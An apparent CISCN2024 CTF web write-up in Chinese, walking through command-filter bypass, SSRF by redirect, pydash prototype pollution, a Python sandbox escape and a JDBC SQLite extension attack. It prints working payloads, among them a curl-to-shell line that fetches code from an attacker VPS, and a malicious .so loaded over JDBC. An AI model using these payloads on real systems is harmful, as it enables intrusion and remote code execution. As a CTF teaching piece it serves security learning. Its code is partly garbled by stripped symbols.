当前位置: 首页 > article >正文

CISCN2024 Web赛题实战复盘:从命令执行到沙箱逃逸的攻防博弈

1. 从命令执行到沙箱逃逸的攻防博弈CISCN2024的Web赛题设计非常贴近实战考察了选手从基础漏洞挖掘到高级利用技巧的全方位能力。这次比赛中的几个典型题目完美展现了Web安全攻防中的经典场景和最新技术趋势。在实战中我们经常会遇到各种过滤和限制。就拿ezphp这道题来说它模拟了一个典型的命令执行场景但加入了严格的过滤机制。这种场景在实际渗透测试中非常常见——系统管理员往往会对危险函数和特殊字符进行过滤但安全防护永远是一个动态博弈的过程。2. ezphp命令执行的艺术2.1 初识题目环境这道题提供了一个PHP页面核心代码如下?php $cmd escapeshellcmd($_POST[cmd]); if (!preg_match(/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|\*|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\|\|id|whoami/i, $cmd)) { system($cmd); } ?这道题设置了双重防御escapeshellcmd函数对输入进行转义正则表达式黑名单过滤了大量命令和特殊字符2.2 突破思路分析面对这样的限制我们需要寻找不依赖黑名单命令的执行方式。经过测试发现php -i可以执行并返回phpinfo信息php -r可以直接执行PHP代码且由于escapeshellcmd的存在我们不需要使用单引号反斜杠和反引号没有被过滤最终构造的payload如下php -r print_r(l\s);这个payload巧妙地利用了反斜杠绕过命令关键字检测反引号执行命令php -r直接执行代码的特性2.3 实战利用过程通过这个漏洞我们可以逐步探索服务器环境列出目录发现没有flag文件检查/etc/passwd发现mysql用户怀疑flag在数据库中最终通过反弹shell获取数据库权限php -r print_r(c\url\$IFS\$9http://vps_ip/exp|bas\h);这个案例告诉我们在面对严格过滤时要善于发现未被过滤的特殊字符和命令参数通过组合利用实现突破。3. ezcmsSSRF的巧妙利用3.1 题目背景分析这道题考察的是一个CMS系统的SSRF漏洞利用。通过扫描发现存在flag.php但需要本地IP访问。这提示我们需要通过SSRF实现本地访问。3.2 漏洞定位通过分析CMS历史漏洞发现qrcode功能存在SSRF漏洞。最新版本虽然修复了redis相关的利用方式但基本的SSRF功能仍然存在。关键漏洞点在Api.php的dr_catcher_data函数可以直接发起内部请求。3.3 利用链构造由于直接使用127.0.0.1被拦截我们采用302跳转的方式绕过限制搭建一个Flask服务返回302跳转响应构造payload?sapicapimqrcodetext1thumbhttp://vps_ip/flask_portFlask服务返回跳转到127.0.0.1/flag.php3.4 实战技巧在真实环境中SSRF漏洞的利用往往需要这样的间接方式。这道题还考察了选手对HTTP协议的理解和灵活应用能力。4. sanic框架原型链污染的深入利用4.1 题目环境分析这道题基于sanic框架关键代码如下from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash5.1.2 app.route(/admin, methods[GET, POST]) async def admin(request): if request.ctx.session.get(admin) True: key request.json[key] value request.json[value] if key and value and type(key) is str and _. not in key: pollute Pollute() pydash.set_(pollute, key, value) return text(success)题目特意标注了pydash版本为5.1.2提示可能存在已知漏洞。4.2 漏洞挖掘研究发现pydash 5.1.2存在原型链污染漏洞正好对应代码中的pydash.set_调用。但题目过滤了_.字符串需要绕过。通过测试发现可以使用四个反斜杠绕过key \\\\.__proto__4.3 利用链构造目标是污染__file__属性来读取任意文件。构造payload如下首先绕过登录验证cookie: useradm\073n然后污染原型链{ key: __init__\\\\.__globals__\\\\.__file__, value: /etc/passwd }这个案例展示了原型链污染在实战中的高级利用技巧特别是在存在过滤的情况下如何构造有效payload。5. mossfornPython沙箱逃逸的艺术5.1 题目环境分析这道题是一个Python沙箱逃逸题目核心代码如下def source_simple_check(source): # 检查双下划线、getattr、exit等 for i in [__, getattr, exit]: if i in source.lower(): print(i) exit() def block_wrapper(): # 使用audit hook进行黑名单检查 def audit(event, args): for i in [marshal, __new__, process, os, sys, interpreter, cpython, open, compile, gc]: if i in (event .join(str(s) for s in args)).lower(): print(i) os._exit(1) return audit def source_opcode_checker(code): # 检查字节码防止加载globals等 for line in opcode: if any(x in str(line) for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD]): if any(x in str(line) for x in [randint, randrange, print, seed]): break print(.join([x for x in [LOAD_GLOBAL, IMPORT_NAME, LOAD_METHOD] if x in str(line)])) exit()题目设置了非常严格的三重过滤机制几乎封堵了所有常规的沙箱逃逸路径。5.2 突破思路生成器与栈帧逃逸通过研究发现可以利用Python生成器的特性进行逃逸生成器的gi_frame属性指向当前执行的帧对象通过f_back可以访问上一级帧最终可以获取到全局变量和内置函数关键payloaddef func(): def f(): yield g.gi_frame.f_back g f() frame [x for x in g][0] builtin frame.f_back.f_back.f_back.f_locals[__builtins__] code frame.f_back.f_back.f_back.f_code print(code.co_consts)5.3 实战技巧由于题目会检查输出内容我们需要分段获取flagprint(code.co_consts[16:17][0][0:32]) print(code.co_consts[16:17][0][32:])这个案例展示了Python沙箱逃逸的高级技巧特别是在严格限制下的创新突破方法。6. ezjavaJDBC攻击的新视角6.1 题目环境分析这道Java题目考察的是JDBC连接的安全问题。通过分析pom.xml发现题目包含了多个数据库驱动sqlite-jdbcmysql-connector-javapostgresql6.2 SQLite的利用研究发现SQLite在开启扩展加载时存在安全风险。利用步骤如下首先上传恶意so文件{type:3, url:jdbc:sqlite::resource:http://vps_ip/exp.so}然后加载扩展{type:3, url:jdbc:sqlite::resource:http://vps_ip/poc.db, tableName:security}其中poc.db包含SELECT load_extension(/tmp/sqlite-jdbc-tmp-xxx.db)6.3 实战经验在真实环境中JDBC连接字符串往往是一个容易被忽视的攻击面。这道题考察了选手对数据库驱动底层机制的理解和利用能力。7. CTF攻防的思维框架通过这几个赛题我们可以总结出一套CTF Web攻防的思维框架全面信息收集扫描目录、分析源码、检查依赖版本漏洞模式识别根据环境特征快速定位可能的漏洞点绕过技巧积累掌握各种过滤规则的绕过方法利用链构造将多个小漏洞串联成完整的利用链环境适应性根据实际环境调整利用方式在实战中往往需要结合多种技术才能最终突破。这些赛题很好地模拟了真实世界中的安全攻防场景对提升实战能力非常有帮助。

相关文章:

CISCN2024 Web赛题实战复盘:从命令执行到沙箱逃逸的攻防博弈

1. 从命令执行到沙箱逃逸的攻防博弈 CISCN2024的Web赛题设计非常贴近实战,考察了选手从基础漏洞挖掘到高级利用技巧的全方位能力。这次比赛中的几个典型题目,完美展现了Web安全攻防中的经典场景和最新技术趋势。 在实战中,我们经常会遇到各种…...

Android AAudio低延迟音频流实战:从独占模式到性能调优

1. AAudio低延迟音频流的核心价值 在移动音频开发领域,延迟是影响用户体验的关键指标。想象一下你正在玩一款音乐游戏,每次敲击屏幕到听到声音反馈的时间如果超过20毫秒,就会明显感觉到操作和声音不同步。这就是AAudio诞生的背景——它专为解…...

保姆级教程:在EASY-EAI-Orin-nano(RK3576)上从零部署YOLOv11,含完整代码与避坑指南

从零部署YOLOv11到RK3576开发板的实战手册:环境配置、模型转换与性能调优全解析 当一块搭载RK3576芯片的EASY-EAI-Orin-nano开发板交到手中时,许多开发者面临的第一个挑战往往不是算法设计,而是如何将前沿的视觉模型真正落地到边缘设备。本文…...

别再纠结了!用Mermaid还是PlantUML?我根据5个真实项目经验给你答案

技术选型实战:PlantUML与Mermaid的五大真实项目决策指南 在技术文档和系统设计领域,图表即代码(Diagrams as Code)工具已经成为现代开发者的标配。过去三年里,我参与了从开源项目到企业级系统的多个技术方案设计,深刻体会到工具选…...

Vue2项目里,如何优雅地封装一个带地址搜索和周边标记的地图选择组件?

Vue2项目中高复用地图组件的工程化封装实践 在电商、物流、地产等业务场景中,地址选择功能几乎是标配需求。传统方案往往直接调用第三方地图API,导致业务代码与地图逻辑深度耦合。本文将分享如何基于Vue2和百度地图API,设计一个具备地址搜索、…...

系统日志分析

系统日志分析:数字世界的诊断专家 在数字化时代,系统日志如同设备的“黑匣子”,记录着每一次操作、每一处异常和每一条关键信息。无论是服务器、网络设备还是应用程序,日志文件都是排查问题、优化性能的重要依据。面对海量且复杂…...

EmbeddingGemma-300m效果展示:Ollama实现专利技术趋势分析

EmbeddingGemma-300m效果展示:Ollama实现专利技术趋势分析 1. 当专利工程师遇上轻量级嵌入模型 专利文档的世界里,技术术语像密码一样密集排列。一份典型的通信领域专利摘要,可能同时出现“可重构智能表面”、“波束赋形算法”、“信道状态…...

告别卡顿!5个GHelper技巧让你的华硕笔记本重获新生

告别卡顿!5个GHelper技巧让你的华硕笔记本重获新生 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, Strix, Scar,…...

ComfyUI-Inpaint-CropAndStitch终极指南:掌握图像智能修复与拼接的5个核心技巧

ComfyUI-Inpaint-CropAndStitch终极指南:掌握图像智能修复与拼接的5个核心技巧 【免费下载链接】ComfyUI-Inpaint-CropAndStitch ComfyUI nodes to crop before sampling and stitch back after sampling that speed up inpainting 项目地址: https://gitcode.com…...

Qwen3.5-9B-AWQ-4bit效果惊艳分享:手写体混合印刷体截图的高准度识别

Qwen3.5-9B-AWQ-4bit效果惊艳分享:手写体混合印刷体截图的高准度识别 1. 模型能力概述 Qwen3.5-9B-AWQ-4bit是一款支持图像理解的多模态模型,能够结合上传图片与文字提示词,输出中文分析结果。这个模型特别擅长处理图片主体识别、场景描述、…...

C语言编程实战题库:从入门到精通的必备练习

1. 为什么C语言需要实战题库? 我第一次接触C语言是在大学计算机系的入门课上。当时老师讲完基础语法后,直接让我们写一个简单的计算器程序。结果全班80%的同学对着空白的编辑器发呆,完全不知道从何下手。这个经历让我深刻认识到:光…...

Speech Seaco Paraformer效果展示:高清录音转文字案例与置信度分析

Speech Seaco Paraformer效果展示:高清录音转文字案例与置信度分析 1. 引言 你有没有遇到过这样的场景?一场重要的会议录音,想要整理成文字稿,结果发现听一句、暂停、打字、再听一句……一个小时的内容,整理起来要花…...

3步解决华硕笔记本性能管理难题:G-Helper硬件控制全解析

3步解决华硕笔记本性能管理难题:G-Helper硬件控制全解析 【免费下载链接】g-helper Lightweight, open-source control tool for ASUS laptops and ROG Ally. Manage performance modes, fans, GPU, battery, and RGB lighting across Zephyrus, Flow, TUF, Strix, …...

RK3566开发板Recovery分区实战:手把手教你扩展SD卡镜像并烧录recovery.img

RK3566开发板Recovery分区深度实践:从分区规划到系统部署全解析 1. 开发环境与硬件准备 在开始Recovery分区的实战操作前,我们需要确保开发环境配置正确。以下是基于Orange Pi 3B开发板的硬件规格和开发环境要求: 硬件配置清单: 主…...

10. 监控与可视化

10. 监控与可视化 本章介绍如何对 OR-Tools 求解过程进行监控,以及结果的可视化展示 目录 求解监控概述 内置统计信息 自定义监控 结果可视化 地图集成 监控大盘 日志与追踪 1. 求解监控概述 1.1 为什么要监控?...

OWL ADVENTURE处理复杂表格图像:从截图到结构化数据

OWL ADVENTURE处理复杂表格图像:从截图到结构化数据 每次看到同事为了把一张财务报表截图里的数据录入Excel而手动敲打半天,或者为了整理一份实验报告里的表格而焦头烂额时,我就在想,这事儿能不能让机器来干?传统的方…...

Qwen3-14B代码解释效果:将100行Python重构为可读注释+优化建议

Qwen3-14B代码解释效果:将100行Python重构为可读注释优化建议 1. 模型能力展示:代码解释与重构 Qwen3-14B作为一款强大的大语言模型,在代码理解与重构方面展现出惊人的能力。我们测试了它对100行复杂Python代码的解释与重构效果&#xff0c…...

IQuest-Coder-V1-40B-Instruct新手入门:3步搭建代码生成与审查环境

IQuest-Coder-V1-40B-Instruct新手入门:3步搭建代码生成与审查环境 1. 引言:为什么选择IQuest-Coder-V1-40B-Instruct 1.1 模型核心能力概述 IQuest-Coder-V1-40B-Instruct是一款专为软件工程和竞技编程设计的大型语言模型,它能帮你&#…...

MGeo门址解析模型实际作品分享:1000+真实地址文本结构化结果集

MGeo门址解析模型实际作品分享:1000真实地址文本结构化结果集 1. 引言:从混乱文本到清晰结构,地址解析的价值有多大? 想象一下,你收到了一条用户留言:“麻烦送到朝阳区望京SOHO塔3B座15层1501室&#xff…...

若依前后端分离版部署实战:Nginx反向代理+生产环境优化配置

若依前后端分离版生产环境部署全攻略:Nginx调优与安全实践 第一次将若依框架部署到生产环境时,我遇到了前端资源加载缓慢、后端接口频繁超时的问题。经过多次实战调优,终于总结出一套兼顾性能与安全的部署方案。本文将分享从基础部署到深度优…...

实战指南:5个技巧高效使用计算机视觉特征匹配基准数据集

实战指南:5个技巧高效使用计算机视觉特征匹配基准数据集 【免费下载链接】hpatches-dataset HPatches: Homography-patches dataset. 项目地址: https://gitcode.com/gh_mirrors/hp/hpatches-dataset 在计算机视觉和图像处理研究领域,特征匹配算法…...

Apex压枪宏终极指南:如何快速提升射击精度与稳定性

Apex压枪宏终极指南:如何快速提升射击精度与稳定性 【免费下载链接】Apex-NoRecoil-2021 Scripts to reduce recoil for Apex Legends. (auto weapon detection, support multiple resolutions) 项目地址: https://gitcode.com/gh_mirrors/ap/Apex-NoRecoil-2021 …...

别光看模型列表!Spring AI和LangChain4j在向量数据库支持上的真实体验对比

别光看模型列表!Spring AI和LangChain4j在向量数据库支持上的真实体验对比 当开发者选择Java生态的AI框架时,往往被琳琅满目的模型支持列表吸引注意力。但在实际构建RAG系统或知识库应用时,向量数据库的集成体验才是决定开发效率的关键因素。…...

ComfyUI Segment Anything:零基础也能掌握的智能图像分割神器

ComfyUI Segment Anything:零基础也能掌握的智能图像分割神器 【免费下载链接】comfyui_segment_anything Based on GroundingDino and SAM, use semantic strings to segment any element in an image. The comfyui version of sd-webui-segment-anything. 项目地…...

Obsidian科研知识管理架构:构建高效学术工作流的本地化解决方案

Obsidian科研知识管理架构:构建高效学术工作流的本地化解决方案 【免费下载链接】obsidian_vault_template_for_researcher This is an vault template for researchers using obsidian. 项目地址: https://gitcode.com/gh_mirrors/ob/obsidian_vault_template_fo…...

yz-bijini-cosplay性能优化指南:GPU资源高效利用

yz-bijini-cosplay性能优化指南:GPU资源高效利用 1. 为什么需要GPU优化 当你运行yz-bijini-cosplay这类图像生成模型时,可能会遇到这样的情况:生成速度慢、图片分辨率上不去,甚至有时候程序直接崩溃报"显存不足"。这些…...

从MCAS系统缺陷看软件安全:一个传感器故障如何导致波音737MAX两次空难?

从MCAS系统缺陷看航空软件安全设计的致命盲区 当一架现代客机以每小时800公里的速度巡航在万米高空时,它的每一个飞行动作背后都有数百万行代码在实时运算。2018年至2019年发生的两起波音737MAX空难,将航空电子系统中一个名为MCAS的软件模块推上了风口浪…...

EPLAN项目标准化实战:如何用结构标识符打造高效电气设计模板

EPLAN项目标准化实战:如何用结构标识符打造高效电气设计模板 电气设计领域正经历着从传统绘图向智能化管理的转型。在这个背景下,EPLAN作为行业领先的电气工程设计软件,其结构标识符功能已成为实现项目标准化的核心工具。我曾参与过多个大型工…...

MicroBlue:Arduino轻量级BLE消息通信框架

1. MicroBlue库概述:面向Arduino的BLE消息通信框架 MicroBlue是一个专为Arduino平台设计的轻量级蓝牙低功耗(BLE)通信库,核心目标是建立Arduino硬件与MicroBlue移动应用之间的可靠、结构化消息通道。该库并非直接操作BLE协议栈&am…...

深入解析 | 萤火虫算法在Matlab中的高效实现与优化技巧

1. 萤火虫算法基础与Matlab环境搭建 第一次接触萤火虫算法时,我被它优雅的生物灵感所吸引。想象夏夜里的萤火虫,它们通过发光相互吸引,最终形成有序的群体行为——这正是算法名称的由来。2008年由剑桥学者Yang提出的这个算法,如今…...